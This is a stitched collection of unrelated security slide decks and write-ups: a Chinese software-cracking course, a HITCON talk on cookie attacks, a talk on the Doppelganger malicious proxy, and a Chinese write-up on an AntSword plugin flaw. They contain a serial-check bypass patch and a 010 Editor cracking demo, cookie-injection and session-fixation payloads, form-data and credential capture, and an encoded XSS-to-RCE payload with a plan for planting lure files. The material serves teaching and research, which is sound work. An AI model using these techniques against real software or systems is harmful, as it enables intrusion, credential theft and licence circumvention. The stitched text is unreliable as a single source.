http://shampoo.antville.org/stories/1566124/ 19 http://developer.mozilla.org/en/docs/LiveConnect 20 http://java.sun.com/products/plugin/1.3/docs/jsobject.html 21 http://java.sun.com/j2se/1.5.0/docs/api/java/net/DatagramSocket.html 22 http://java.sun.com/j2se/1.5.0/docs/api/java/net/Socket.html 23 http://java.sun.com/j2se/1.5.0/docs/api/java/net/InetAddress.html#isReachable(int) 24 http://tools.ietf.org/html/rfc1928 25 http://www.hummingbird.com/products/nc/socks/index.html 26 http://developer.mozilla.org/en/docs/DOM:window.setTimeout 27 http://developer.mozilla.org/en/docs/DOM:window.setInterval 28 http://www.jumperz.net/index.php?i=2&a=3&b=3 29 http://www.adobe.com/support/flash/action_scripts/actionscript_dictionary/actionscript_dictionary8 67.html 30 http://www.mozilla.org/projects/security/components/ConfigPolicy.html 31 http://noscript.net/ 32 http://databasement.net/labs/localrodeo/
pdf
HITCON GIRLS 的第一個軟體 破解課程 Charles 課程內容 • 逆向工程與軟體破解概念簡介 • Lab 0 • 軟體破解前你必須知道的二三事 • Lab 1 • 通往破解點的道路 – Strings 與 API • Lab 2 • 軟體破解實戰Demo – 010 Editor 逆向工程與軟體破解 • 何謂逆向工程 – 從宅仔和小P的愛情故事說 起 逆向工程與軟體破解 • 何謂逆向工程 – 宅仔深愛著小 p,卻發現自 己聽不懂她說的話 !@#$%^&* ()_+ int main(){ printf(“I love you\n!!”); } 817C24 08 1101>CMP DWORD PTR SS:[ESP+8],111 75 74 JNZ SHORT ncrackme.004010CE 8B4424 0C MOV EAX,DWORD PTR SS:[ESP+C] 66:3D EA03 CMP AX,3EA 75 42 JNZ SHORT ncrackme.004010A6 E8 C7010000 CALL ncrackme.00401230 85C0 TEST EAX,EAX 逆向工程與軟體破解 • 何謂逆向工程 – 痴心的宅仔想更了解小p的 內心世界,於是努力學習小p的語言 – 機器 語言。 逆向工程與軟體破解 • 何謂逆向工程 –宅仔成功了,他學會了逆向 工程,成為了 • 成功擄獲小p的心。 駭客 逆向工程與軟體破解 • 逆向工程:工程師在寫程式時, – 通常是以高階語言(high level language)作撰寫, – 再藉由Compiler的幫助將其轉化成電腦所能接 受的機器語言(Machine language)。 – 逆向工程是將一個編譯過的二進位程式檔,試 圖重製,或了解該程式運作方式的過程。 • 軟體破解:藉由逆向工程的手法,了解程 式的架構或流程後,嘗試對其進行修改, 以改變其原始運作方式 (讓它乖乖聽話)。 軟體破解實例 – 序號破解 逆向工程與軟體破解 • 為什麼我們要學逆向工程: – 破解軟體保護 (跟朋友炫耀,用免錢的程式) – 讓沒有原始碼的軟體程式可以二次利用 – 評估軟體程式品質和健全性 (黑箱測試) – 研究病毒和惡意程式 (like Charles ) – 幫現有程式增加功能 (寫遊戲外掛) 逆向工程與軟體破解 • 作逆向工程前,你必須: – 寫過簡單程式,了解何謂程式架構、邏輯判斷 及流程跳轉 – 碰過一點組合語言 – 具備耐心與熱忱 逆向工程與軟體破解 • 逆向工程常用到的工具: – 除錯器(Debuggers) – 16進位編輯器(Hex editors) – PE and resource viewers/editors – System Monitoring tools 課程內容 • 逆向工程與軟體破解概念簡介 • Lab 0 • 軟體破解前你必須知道的二三事 • Lab 1 • 通往破解點的道路 – Strings 與 API • Lab 2 • 軟體破解實戰Demo – 010 Editor Lab 0 • 用資源編輯器來作我們的第一個程式修改: Lab 0 • 目的:修改出中文的小算盤: Lab 0 • 用XN Resource Editor打開”Lab 0”裡面附 的calc.exe [File]  [Open] Lab 0 • 選擇左方欄String Table, 依次展開,尋找想 要修改的項目 • 找到想要修改的項目後,在該欄位上按右 鍵修改 Lab 0 • 動手時間:10 mins 課程內容 • 逆向工程與軟體破解概念簡介 • Lab 0 • 軟體破解前你必須知道的二三事 • Lab 1 • 通往破解點的道路 – Strings 與 API • Lab 2 • 軟體破解實戰Demo – 010 Editor 程式破解前你必須知道的二三事 • 程式流程跳轉: if-else int main(){ unsigned int age; printf("Please enter your age: "); scanf("%d", &age); printf("\n"); if(age < 18){ printf("I'm sorry, deer cutie, you are not allowed to drink beer :(\n"); } else{ printf("Let's have a crazy party !! :D\n"); } } Action1 Action2 C:\Documents and Settings\Administrator\桌面 \Hitcon_girls\Lab>age.exe Please enter your age: 18 Let's have a crazy party !! :D C:\Documents and Settings\Administrator\桌面 \Hitcon_girls\Lab>age.exe Please enter your age: 12 I'm sorry, deer cutie, you are not allowed to drink beer :( 程式操作 程式破解前你必須知道的二三事 • 程式流程跳轉(示意圖) Action 1 Action2 印出訊息並讀入使用者輸入的數字 printf("Please enter your age: "); scanf("%d", &age); if(age < 18){ printf("I'm sorry, deer cutie, you are not allowed to drink beer :(\n");} else{ printf("Let's have a crazy party !! :D\n");} 程式破解前你必須知道的二三事 • 除錯器 : 藉由除錯器(debugger)的幫助,可 以一步步觀察目標程式在各時間點的狀態 – 記憶體(memory)狀態、 – 程式碼跳轉(code branch), • 有效幫助我們了解目標程式的運作邏輯。 程式破解前你必須知道的二三事 • 除錯器 - Code Memory Register Stack 程式破解前你必須知道的二三事 • 除錯器 – Debugger 指令: • 中斷點:cpu的特殊instruction,會使程式 流程在該處中斷 – bp xxxx: 在位址xxxx設置軟體斷點 – F9: 執行程式,直到遇到斷點為止 – F8: 執行單一指令 • Debugger操作 程式破解前你必須知道的二三事 記憶體位址 機器碼 組合語言 Action 1 Action 2 • 我們的程式經編譯過後長什麼樣子呢? 程式破解前你必須知道的二三事 比較變數跟0x12(18)的大小值 如果條件(不小於)成立,程式跳到0x401037(Action 2)去執行 Action 1 Action 2 • 機器語言如何實作「流程分支」的概念: JNB: Jmp if Not Below cmp: compare 課程內容 • 逆向工程與軟體破解概念簡介 • Lab 0 • 軟體破解前你必須知道的二三事 • Lab 1 • 通往破解點的道路 – Strings 與 API • Lab 2 • 軟體破解實戰Demo – 010 Editor Lab 1 • 目標:修改我們的程式age.exe,讓它無論 輸入年紀多少都顯示: “Let's have a crazy party !! :D” C:\Documents and Settings\Administrator\桌面\Hitcon_girls\Lab 1>noage.exe Please enter your age: 10 Let's have a crazy party !! :D C:\Documents and Settings\Administrator\桌面\Hitcon_girls\Lab 1>noage.exe Please enter your age: 99 Let's have a crazy party !! :D Lab 1 • 兩個必須熟知的組合語言指令: – nop: No Operation, 不作任何事 – jmp xxxx: 將程式流程強制跳至位址xxxx去執行 Lab 1 • 用debugger開啟我們的 age.exe: • [File]  [Open], 選擇age.exe Lab 1 • 在code視窗(左上角),作上下捲動,直到找 到0x401000 – 我們的main function 所在為 止(或按Ctrl+G,輸入0x401000直接到該位 址) Lab 1 • To jmp or to nop, that’s the question: – 在紅色箭頭所在處,程式有一個分歧點: • 繼續往下一個指令執行(不jmp) • 亦或跳到0x401037執行 比較式,0x12=18 Lab 1 • 假設你希望把分歧點消除,讓程式永遠只 作某件事: – 把jnb指令改成nop永遠作action 1 – 把jnb指令改成jmp永遠作action 2 Action 1 Action 2 nop JMP SHORT age.00401037 Lab 1 • 動手時間 – 10 mins – 怎麼修改指令? • 我們的目標是希望程式永遠執行action 2, 因此要將jnb所在的指令改為jmp – 將滑鼠移至該指令上方選取它 – 按右鍵 – 選”Assemble” – 將原本的 • ”JNB SHORT 00401037”,改成 • “Jmp SHORT 00401037” – 按F9執行程式,看結果 課程內容 • 逆向工程與軟體破解概念簡介 • Lab 0 • 軟體破解前你必須知道的二三事 • Lab 1 • 通往破解點的道路 – Strings 與 API • Lab 2 • 軟體破解實戰Demo – 010 Editor 通往破解點的道路 通往破解點的道路 – 字串引用 • 範例程式:簡單的序號驗證程式。 • 程式操作示範 • 假想程式流程: – 讀進reg name 和 reg key – 將reg name, reg key當作參數,傳入自己的演 算法,驗證是否正確 – 驗證失敗,跳出視窗顯示錯誤 猜測:程式引用到”Registration fail”處的程式碼, 可能很接近作驗證的程式碼(我們要修改的點) 通往破解點的道路 – 字串引用 • 程式實際流程圖: 目標: 程式碼跳轉點 程式調用字串 通往破解點的道路 - Windows API • 視窗作業系統應用程 式介面(Windows API) – Windows提供的函式 – 用來讓使用者作底層的 系統資源存取 – 分門別類存放於不同的 函式庫(DLL)中 系統資源 Windows api • 掌握適當Windows API, 可以幫助我們快速 找到關鍵程式碼(破解點)。 程式呼叫MessageBox API函 式 目標: 程式跳轉點 觀察關鍵點附近 會叫用的系統資 源 利用相關的API 下中斷點追蹤 往前或往後找尋 可能程式碼 Try & Error 通往破解點的道路 - Windows API 課程內容 • 逆向工程與軟體破解概念簡介 • Lab 0 • 軟體破解前你必須知道的二三事 • Lab 1 • 通往破解點的道路 – Strings 與 API • Lab 2 • 軟體破解實戰Demo – 010 Editor Lab 2 • 目標:用Debugger來追蹤ncrackme.exe, 找出程式作序號檢查的程式點 • 用Debugger開啟ncrackme.exe: [File]  [Open] Lab 2 • 方法一 – 利用字串引用來尋找: • 按右鍵 • “Search for” • “All referenced text strings” Lab 2 • 程式中會引用到的字串列表: • 在想追蹤的string上按右鍵”Follow in dissembler” Lab 2 • 即可找到關鍵程式碼區塊: Lab 2 • 方法二— 利用API MessageBoxA來設置中 斷點找尋: • 按「Ctrl + N」,debugger會列出所有引用 到的函式 Lab 2 • 按”F9”讓程式執行,跳出視窗後在”Reg name”, “Reg key”欄位任意輸入東西,按 ”Register” Lab 2 • 在API函式上按右鍵,選擇”Find reference to import” • 除錯器會列出程式中所有引用此API的位址 ,在想追蹤的位址上按”enter” Lab 2 • 即可找到呼叫”MessageBoxA”的程式碼: 註冊成功的情況 註冊失敗的情況 程式跳轉點 現在,試著修改程式,讓我們不管輸入什麼序號,永遠都會顯示註冊成功  Lab 2 • 動手時間 – 10 mins • 將位址0x401072的指令由原本的 – JNZ SHORT 0040108F,改為 – NOP • 按F9執行,觀察結果 課程內容 • 逆向工程與軟體破解概念簡介 • Lab 0 • 軟體破解前你必須知道的二三事 • Lab 1 • 通往破解點的道路 – Strings 與 API • Lab 2 • 軟體破解實戰Demo – 010 Editor demo • 010序號驗證機制破解 (僅供教學目的) 如何儲存修改過的檔案 • 之前的Lab都在記憶體中作修改,下次重新 啟動效果就消失。 • 要直接把修改過程式碼寫到檔案中: – 按右鍵 – “Copy to executable” – “All modifications” – “Copy all” 如何儲存修改過的檔案 • 按右鍵 “Backup”  “Save data to file” • 另存新檔即可 • 現在執行看新存的檔案吧 QUESTION? Charles@teamt5.net
pdf
The cookie monster in your browsers @filedescriptor HITCON 2019 @filedescriptor • From Hong Kong  • Pentester for Cure53 • Love WebApp Sec & Browser Sec • Bug Bounty Hunter (#1 on Twitter's program) Motivation Motivation Motivation History 1966 The Dark Age 1994 1997 2000 Netscape's cookie_spec RFC 2109 RFC 2965 Basic Syntax Mechanism More Attributes Privacy Control Obsoletes RFC 2109 Set-Cookie2 & Cookie2 No browser followed these specs! The Modern Age 2011 2015 2016 2016 RFC 6265 Cookie Prefixes (RFC6265bis) Same-site Cookies (RFC6265bis) Strict Secure Cookies (RFC6265bis) Obsoletes RFC 2965 Summarizes reality HttpOnly flag Improves Integrity across subdomains over secure channel Kills CSRF & Co. Prevents secure cookies overwrite from non-secure origin 🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊 🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊 🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊 🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊 🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊 🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊 🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊 🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊 🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊 🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊 🍊 🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪 🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪 🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪 🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪 🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪 🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪 🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪 🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪 🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪 🍪🍪🍪🍪🍪🍪🍪🍪🍪🍪 🍪 HTTP/1.1 200 OK [...] Set-Cookie: sid=123; path=/admin document.cookie = 'lang=en' HTTP Response JavaScript API (write) HTTP/1.1 200 OK [...] Set-Cookie: sid=123; path=/admin document.cookie = 'lang=en' POST /admin HTTP/1.1 [...] Cookie: sid=123; lang=en HTTP Response JavaScript API (write) Subsequent HTTP Request document.cookie // sid=123; lang=en JavaScript API (read) *Attributes do not appear in requests Set-Cookie: sid=123; path=/admin; Secure Name Value Attribute Flag Attribute Flag Expires Max-Age Domain Path SameSite Secure HttpOnly Attribute Flag Expires Max-Age Domain Path SameSite Secure HttpOnly We will focus on these attributes in this talk Domain Set-Cookie: foo=bar; domain=.example.com example.com sub.example.com sub.of.sub.example.com 👀 👀 Domain to subdomains Set-Cookie: foo=bar; domain=.example.com sub.example.com example.com sub.of.sub.example.com 👀 👀 Subdomains to subdomains Set-Cookie: foo=bar; sub.example.com example.com sub.of.sub.example.com 👀 👀 Current domain Dot or no Dot? • They have no difference (old RFC vs new RFC style) • Both widen the scope of a cookie to all (sub)domains • The correct way to limit the scope is to not have the domain attribute • Some websites add the domain attribute for all cookies • If one of the subdomains is compromised, such cookies will be leaked to unauthorized parties – RFC 6265 (4.1.2.3.) "Some existing user agents treat an absent Domain attribute as if the Domain attribute were present and contained the current host name." Still isn’t fixed in IE11 on Windows 7 / 8.1! Cookie Bomb • Most servers have a length limit on request headers • When this limit is exceeded, HTTP 413 or 431 is returned • Limited cookies injection can still result in client-side DoS • Domain & Expire attributes help persist the attack across (sub)domains. https://example.com/aaa…aaa https://twitter.com/#a https://example.com/aaa…aaa https://twitter.com/#b https://example.com/aaa…aaa https://twitter.com/#c GET / HTTP/1.1 [...] Cookie: ev_redir_a=aaa...aaa; ev_redir_b=aaa...aaa; ev_redir_c=aaa...aaa } 8kB+ Shared domains're vulnerable by design e.g. github.io Public Suffix List • Community curated • Some domains cannot have cookies • The same list that restricts domain=.com.tw XSS+OAuth • Say you have a boring XSS • And the site is using OAuth • Sounds like you can use the XSS to takeover accounts? Expectation https://google.com/oauth?client_id=example HTTP/1.1 302 Found Location: https://example.com/oauth/callback?code=123 Set-Cookie: sid=123 HTTP/1.1 302 Found Location: https://example.com/home Steal Reality https://google.com/oauth?client_id=example HTTP/1.1 302 Found Location: https://example.com/oauth/callback?code=123 Set-Cookie: sid=123 HTTP/1.1 302 Found Location: https://example.com/home Steal 1. Authorization code is single-use 2. Intermediate HTTP Redirect is transparent XSS+🍪💣+OAuth 1. Perform Cookie Bomb Attack via XSS 2. Embed an iframe pointing to OAuth IdP 3. It redirects to target with the authorization code 4. Server rejects the request due to large header 5. Use XSS to get the authorization code from iframe URL https://example.com https://google.com/oauth?client_id=example https://example.com https://example.com/oauth/callback?code=123 iframe.contentWindow.location.href Path & HttpOnly This is a valid request True or False? POST /admin HTTP/1.1 [...] Cookie: csrf_token=foo; csrf_token=bar Cookie Tossing • Cookie key consists of the tuple (name, domain, path) • Each cookie-key-value has their own attribute list • (Sub)domains can force a cookie with the same name to other (sub)domains • Browser sends all cookies of the same name without attributes • Server thus has no way to tell which one is from which domain/path GitHub Pages used to be on *.github.com Scenario • Had an XSS on ton.twitter.com where contents are static • twitter.com uses auth_token for session ID and _twitter_sess for storing CSRF token • Could modify _twitter_sess with an attacker-known value and have site-wide CSRF • However it’s protected by HttpOnly HttpOnly • Cookies with this flag cannot be read/write from JavaScript API • Safari before version 12 has a bug that allows writing to HttpOnly cookies with JavaScript API • Cookie Tossing can also help “bypass” this flag, as you can create a cookie with the same name but different key tuple Expectation Name Value Domain _twitter_sess original _twitter_sess attacker’s .twitter.com POST /i/tweet/create HTTP/1.1 [...] Cookie: _twitter_sess=attackers; _twitter_sess=original authenticity_token=attacker-known Reality Name Value Domain _twitter_sess original _twitter_sess attacker’s .twitter.com POST /i/tweet/create HTTP/1.1 [...] Cookie: _twitter_sess=original; _twitter_sess=attackers; authenticity_token=attacker-known –RFC 6265 (5.4) 2. The user agent SHOULD sort the cookie-list in the following order: * Cookies with longer paths are listed before cookies with shorter paths. * Among cookies that have equal-length path fields, cookies with earlier creation-times are listed before cookies with later creation-times. Precedence matters • Specs do not mention how to handle duplicate cookies • Most servers accept the first occurrence of cookies with the same name (think of HPP) • Most browsers place cookies created earlier first –RFC 6265 (5.4) 2. The user agent SHOULD sort the cookie-list in the following order: * Cookies with longer paths are listed before cookies with shorter paths. * Among cookies that have equal-length path fields, cookies with earlier creation-times are listed before cookies with later creation-times. Revised Attack Name Value Domain Path _twitter_sess original / _twitter_sess attacker’s .twitter.com /i/ POST /i/tweet/create HTTP/1.1 [...] Cookie: _twitter_sess=attackers; _twitter_sess=original authenticity_token=attacker-known –RFC 6265 (6.1) Practical user agent implementations have limits on the number and size of cookies that they can store. General-use user agents SHOULD provide each of the following minimum capabilities: o At least 4096 bytes per cookie (as measured by the sum of the length of the cookie's name, value, and attributes). o At least 50 cookies per domain. Overflowing Cookie Jar • Another way to “overwrite” a HttpOnly cookie is to remove it • Browsers have a limitation on how many cookies a domain can have • When there is no space, older cookies will get deleted • Drawback: it’s not always easy to know how many cookies a victim has (tracking cookies are unpredictable) More Cookie Tossing Application Self-XSS to full XSS Selectively forcing attacker’s session cookie on certain paths https://attacker.myshopify.com https://attacker.myshopify.com/admin/oauth/authorize?client_id=editor https://script-editor.shopifycloud.com/oauth/callback?code=attackers document.cookie='_master_udr=attackers;path=/admin/oauth https://victim.myshopify.com/admin/oauth/authorize?client_id=editor https://script-editor.shopifycloud.com/oauth/callback?code=victims Login “CSRF” Re-login victim Self-XSS in iframe executing with victim’s session Session Fixation Forcing attacker’s session cookie with a subdomain XSS https://script-editor.shopifycloud.com document.cookie='_flow_session=attackers;domain=.shopifycloud.com' https://victim.myshopify.com/admin/oauth/authorize?client_id=flow GET /oauth/callback?code=victims HTTP/1.1 Host: flow.shopifycloud.com Cookie: _flow_session=attackers Force a session cookie scoped to .shopifycloud.com using XSS OAuth redirect with authorization code Implementation Discrepancy Multiple Cookies at Once? • We can only set one cookie at a time in a single Set- Cookie header • However, the older specs allow setting multiple in a single Set-Cookie header Cookie based XSS Exploiting limited Cookie Injection with Safari –RFC 2109 (4.2.2) “Informally, the Set-Cookie response header comprises the token Set-Cookie:, followed by a comma-separated list of one or more cookies.” Set-Cookie: foo=123; path=/admin; HttpOnly;, bar=456; Secure GET /admin HTTP/1.1 [...] Cookie: foo=123; bar=456 Works in Safari before version 10 https://outlook.live.com/owa/?realm=hotmail.com;, ClientId='-alert(2)-' HTTP/1.1 200 OK [...] Set-Cookie: realm=hotmail.com;, ClientId='-alert(2)-' GET / HTTP/1.1 [...] Cookie: realm=hotmail.com; ClientId='-alert(2)-' window.clientId = ''-alert(2)-''; Safari sets 2 cookies CSRF Cookie Injection Server accepting comma separated cookies –RFC 2965 (3.3.4) “For backward compatibility, the separator in the Cookie header is semi-colon (;) everywhere. A server SHOULD also accept comma (,) as the separator between cookie-values for future compatibility.” http://blackfan.ru/r/,m5_csrf_tkn=x,;domain=.twitter.com;path=/ __utmz=123456.123456789.11.2.utmcsr=blackfan.ru|utmccn=(referral)|utmcct=/ r/,m5_csrf_tkn=x POST /messages/follow HTTP/1.1 [...] Cookie: __utmz=123456.123456789.11.2.utmcsr=blackfan.ru| utmccn=(referral)|utmcct=/r/,m5_csrf_tkn=x m5_csrf_tkn=x Cookie set by Google Analytics on translation.twitter.com scoped to .twitter.com Twitter’s server parses it as 2 cookies Defense Cookie Prefixes • Cookies prefixed with __Host- cannot have Domain attribute • This prevents (sub)domains from forcing a cookie the current domain doesn’t want • Cookies intended for (sub)domains are still vulnerable to Cookie Tossing • Use a separate domain for user generated assets Servers must only follow RFC 6265 PSA: CSRF & others will be dead in 2020😢 Q&A find me on Twitter @filedescriptor
pdf
Malicious Proxies The Web’s Evil Twin Introducing Doppelganger Introduction • Who am I? • Security field since 1998 –IDS –Pen testing –Malicious logic analysis –Incident response (c) 2009 Edward J. Zaborowski 4 • Focusing on HTTP proxies • Plenty of reasons to legitimately deploy a proxy – Save bandwidth – Filtering of sites – etc Proxies (c) 2009 Edward J. Zaborowski 5 WHO CARES!? Why a Malicious Proxy • Come up with as many nefarious ways to distort a users interaction as I can • Quickly & easily gather potentially useful information Proxies: Standard • Client requests a page through proxy • Proxy request the page from the server • Server sends the response to the proxy • Proxy serves the page to the client (c) 2009 Edward J. Zaborowski 7 Proxies: Malicious • Similar to a standard proxy, but the data can be modified (c) 2009 Edward J. Zaborowski 8 Proxies: Malicious Cont. • Not much different from a standard proxy • Captures & modifies HTTP responses & requests • Change the response adding HTML or JavaScript (c) 2009 Edward J. Zaborowski 9 Malicious Proxies: Modifying Content • Modify static HTML – Cumbersome – Need a lot of customization • Inject JavaScript – Considerably easier – find something all pages (should) have: a <head> tag – JavaScript can modify the DOM in a consistent way, alleviating major customization (c) 2009 Edward J. Zaborowski 10 Malicious Proxies: Potential Issues • Inserted JavaScript may be blocked (NoScript) • Some AJAX heavy sites don’t play well • Most sites use HTTP/1.1 compressed pages – Decompress & modify – Strip the compression header in the request • Modifying the page slows down delivery – Use JavaScript to let the client make the changes, saving the proxy’s CPU (c) 2009 Edward J. Zaborowski 11 Proxies: Assigning a proxy • Statically – Tedious and not very feasible/easy • Dynamically via DNS, or DHCP – DNS (WPAD Record) – DHCP Option 252 – Only works with browsers set to use auto-proxy detection • Others (c) 2009 Edward J. Zaborowski 12 Doppelganger: Goals • Personal – Learning exercise in Ruby • code != pretty • documentation = sparse • proof of concept • Tool – Semi-Plug & Pray – Easy to use – Target all sites out of the box (c) 2009 Edward J. Zaborowski 13 Doppelganger • Can be used to update WPAD DNS record • Greasemonkey for the Web, not just Firefox • Can use Google APIs for hosted JavaScript libraries that are commonly used – (jquery, jqueryui), (prototype, scriptaculous), mootools, dojo, swfobject, yahooui, and/or extcore (c) 2009 Edward J. Zaborowski 14 Doppelganger: Requirements • Ruby – webrick • OpenSSL library for Ruby • Ruby Gems – dnsruby – packr – windows-pr* – win32-process* (c) 2009 Edward J. Zaborowski 15 Doppelganger: Generic Capabilities • Can operate on both the HTTP Request & Response – Add/Remove/Modify HTTP Headers – Inject/Remove HTML • Includes JavaScript (c) 2009 Edward J. Zaborowski 16 Doppelganger: Specific Capabilities • Insert Calling Card • Inject Flash Applets • Scrape & Decode Basic Auth • Steal submitted form data • Other header data (cookies) (c) 2009 Edward J. Zaborowski 17 Doppelganger Calling Card • Removes all child tags of <body> • Adds a new tag prominently displaying calling card image in user’s browser • Malicious scale: 1 (c) 2009 Edward J. Zaborowski 18 Doppelganger Header Capturing • Captures Entire Header – Capture HTTP Basic Auth & decode – Cookies – Malicious Scale 5+ (c) 2009 Edward J. Zaborowski 19 Doppelganger Flash Injection • Adds the appropriate tags for a flash object at the body end • Gather more information about hosts • Potentially exploit flash vulnerabilities • Malicious scale: 3+ (c) 2009 Edward J. Zaborowski 20 Doppelganger Form Data Capturing • Finds all forms and binds to the “submit” event • Form submission fires an Ajax request with serialized form data to a nonexistent URL, which in turn is logged by doppelganger • Gets data from forms that are on a HTTP page even if GET/POST'd to an HTTPS page • Malicious scale: 7+ (c) 2009 Edward J. Zaborowski 21 Doppelganger: Before (c) 2009 Edward J. Zaborowski 22 Doppelganger Calling Card: After (c) 2009 Edward J. Zaborowski 23 Doppelganger: Form Data (c) 2009 Edward J. Zaborowski 24 192.168.176.43 - - [14/Jul/2009:18:01:36 EDT] "GET http://slashdot.org/doppelganger-log? formdata=aWYgdSByIHRoZSBmaXJzdCAyIGRlY29kZSB0aGlz IGR1cmluZyBkZWZjb24xNywgaSBvd2UgdSBhIGRyaW5rIQ HTTP/1.1" 404 0 "http://slashdot.org/" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5.1 (.NET CLR 4.0.20506)" Doppelganger: Other Uses • Phishing • CSRF Attacks • Exploiting – (i.e., Firefox 0-days, Adobe 0-day) Doppelganger: Future Additions • Future Additions – More granular control over what pages to mimic – Interactivity (on-the-fly reconfiguration) – sslstrip/sslsniff (c) 2009 Edward J. Zaborowski 26 Curious Findings • WPAD – One hour lead to for 320+ unique hosts grabbing my wpad.dat – Our environment pushes proxy setting via GPO; I’m sure GPO doesn’t set the proxy to my laptop (c) 2009 Edward J. Zaborowski 27 Some Mitigations • Serve the WPAD URL yourself – DHCP Option 252 – DNS • Ensure all browsers are configured to not automatically detect proxy • This only protects against the WPAD-type of attack (c) 2009 Edward J. Zaborowski 28 Questions? - or - Script Ideas/Submissions Edward J. Zaborowski ed@thezees.net http://doppelganger.googlecode.com Dedication • Dedicated to my wife Kristen, mother Joyce, my brother Dave and the memory of my Sister, Tina, my Brother Eugene JR (Jay), and my Father Gene, whom inspire me every day. (c) 2009 Edward J. Zaborowski 30
pdf
0x01 前言 这种反制也只能钓 "涉世未深" 的攻击方,和一些脚本小子,算是蚁剑插件编写不规范造成的RCE 0x02 DHTMLX 在 \source\app.entry.js : 行28-57 可以看得见蚁剑在新版加载器中设置了替换函数,将对应的特殊 字符替换成实体编码! 它调用了dhtmlx框架,所以只要是UI渲染的页面都可能存在 XSS->RCE 我把目标盯向了其他插件 0x03 AS_Plug-in 从自带的插件实例的代码开始看: phpinfo 在 行14-22 当中,渲染UI框架的时候,调用了 unxss 可以知道这个地方不存在XSS漏洞 noxss: (html = '', wrap = true) => {   let _html = String(html)     .replace(/&/g, "&amp;")     .replace(/'/g, "&apos;")     .replace(/>/g, "&gt;")     .replace(/</g, "&lt;")     .replace(/"/g, "&quot;");   if (wrap) {     _html = _html.replace(/\n/g, '<br/>');   }   return _html; }, /**   * unxss   * @param {String} html 转义的字符串   * @param {Boolean} wrap 是否反转义换行   * @return {String}       反转义后的字符串   */ unxss: (html = '', wrap = true) => {   let _html = String(html)     .replace(/&apos;/g, "'")     .replace(/&gt;/g, ">")     .replace(/&lt;/g, "<")     .replace(/&quot;/g, '"')     .replace(/&amp;/g, "&");   if (wrap) {     _html = _html.replace(/<br\/>/g, '\n'); // 只替换 noxss 转义过的   }   return _html; }, https://github.com/AntSword-Store/phpinfo** https://github.com/AntSword-Store/phpinfo/blob/master/main.js 我们需要用到什么插件? LiveScan 这个是蚁剑判断WEBSHELL存活的一款插件 可以在蚁剑插件中心下载 我从Github找到了这个项目,从代码审计这方面开始挖掘漏洞进行反制   core.request({     _: 'phpinfo()'   }).then((_ret) => {     t.safeHTML(antSword.unxss(_ret['text'])).showLoading(false);     toastr.success('获取成功!', 'Success');   }).catch((e) => {     toastr.error(JSON.stringify(e), 'Error');     t.close();   }); # 插件市场打不开如何解决 https://mp.weixin.qq.com/s/hF3GgZpIcussc-BjUoJUuQ https://github.com/AntSword-Store/LiveScan/blob/master/libs/ui.js         // 开始扫描         this.win.win.progressOn();         // 获取 Shell         let shells = antSword['ipcRenderer'].sendSync('shell-find', {           "type": {             "$nin": ["custom"]           }, 行160-192 从开始扫描到渲染UI,每一步他都没有调用JS替换函数: unxss , onxss 于是我构思,如何让他扫描后渲染出来,它扫描时shell不需要存活,于是我们shell地址开始下手 Windows对文件的命名有标准,我们没法使用尖括号 只能在链接的时候修改           "category": {             "$nin": [".Trash"]           }         });         // 传递给扫描核心代码         callback({             shells: shells           }).then((ret) => {             // 解析扫描结果             let griddata = [];             this.gridData = ret;             ret.map((item, i) => {               // console.debug(i, item);               if (!item) {                 return               };               griddata.push({                 id: item.id,                 data: [i, item.shell, LANG['status'][item.status ? "live" : "dead"], item.id]               });             });             // 渲染UI             this.grid.clearAll();             this.grid.parse({               rows: griddata             }, "json"); XSS: 0x04 RCE && 实战构思 Payload: <img src=1 onerror=alert(1)> 例子: http://192.168.0.108/<img src=1 onerror=alert(1)>/1.php 处理前: a="require('child_process').exec('calc.exe')" b="" for(i=0;i<a.length;i++) b = b + "," +a.charCodeAt(i) 处理后: <img src=1 onerror="eval(String.fromCharCode(114,101,113,117,105,114,101,40,39,99,104,105,1 08,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99, 46,101,120,101,39,41))"> 例子: http://192.168.0.108/<img src=1/ onerror="eval(String.fromCharCode(114,101,113,117,105,114,101,40,39,99,104,105,1 08,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99, 46,101,120,101,39,41))">/1.php 构思 其实对于我而言这个是有实战意义的: 钓鱼 就脚本小子以及初出茅庐的攻击方来说,设置钓鱼文件,伪造内容诱导添加shell并存活检测,也可以黑 吃黑,诱导其检测shell存活~ 在网站目录下创建txt或者log文件,伪造内容: 总结:在实战当中,有利用的可能!但可操作性非常低,诱导性也低,但是危害大!不算鸡肋,有用武之 地但是条件要求极其苛刻! 漏洞利用扫描器 结果: 指定连接shell管理工具 -- 蚁剑(AntSword) WebShell:http://192.168.0.108/<img src=1/ onerror="eval(String.fromCharCode(114,101,113,117,105,114,101,40,39,99,104,105,1 08,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99, 46,101,120,101,39,41))">/1.php 密码:cmd 连接后请务必进行存货检测 -- 插件中心下载 && https://github.com/AntSword-Store/LiveScan # 如遇插件中心存在打不开的情况,解决方法: https://mp.weixin.qq.com/s/hF3GgZpIcussc-BjUoJUuQ
pdf
